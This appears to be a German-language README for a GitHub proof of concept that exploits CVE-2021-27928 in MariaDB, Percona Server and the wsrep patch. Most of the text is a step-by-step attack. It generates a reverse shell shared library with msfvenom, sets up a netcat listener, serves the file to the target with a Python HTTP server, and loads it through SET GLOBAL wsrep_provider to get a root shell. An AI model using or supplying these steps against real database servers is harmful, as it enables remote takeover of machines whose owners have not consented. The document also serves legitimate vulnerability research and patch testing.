shamo0/cve-2021-27928-pocCVE-2021-27928-POC
Ein Problem mit der Ausführung von Remote-Code wurde in MariaDB 10.2 vor 10.2.37, 10.3 vor 10.3.28, 10.4 vor 10.4.18 und 10.5 vor 10.5.9; Percona Server bis 2021-03-03; und dem wsrep-Patch bis 2021-03-03 für MySQL entdeckt. Ein nicht vertrauenswürdiger Suchpfad führt zu einer Eval-Injection, bei der ein Datenbank-SUPER-Benutzer nach dem Ändern von wsrep_provider und wsrep_notify_cmd OS-Befehle ausführen kann. HINWEIS: Dies betrifft kein Oracle-Produkt.
Erstellen wir unseren Payload mit Msfvenom. Für unseren Payload verwenden wir /linux/x64/shell_reverse_tcp mit unserer IP für LHOST und Portnummer für LPORT. Wir werden auch den Dateityp mit -f angeben, welcher in unserem Fall elf-so ist. Und wir speichern die Ausgabedatei als CVE-2021.27928.so mit der Option -o.
msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT= -f elf-so -o CVE-2021-27928.so
Unser Payload ist bereit! Richten wir netcat als Listener auf unserem angegebenen Port ein.
Verschieben wir unsere Datei auf die Zielmaschine. Dafür können wir jede beliebige Methode verwenden. Ich werde den Python-HTTP-Server nutzen.
Speichern wir die Datei im /tmp-Verzeichnis
Jetzt müssen wir uns in die Datenbank einloggen und wsrep_provider auf unseren hochgeladenen Payload setzen.
SET GLOBAL wsrep_provider="/tmp/CVE-2021.27928.so";
Zeit, unseren Listener zu überprüfen. Wenn wir erfolgreich waren, sollten wir eine Root-Shell auf der Maschine erhalten haben!
Happy Hacking!
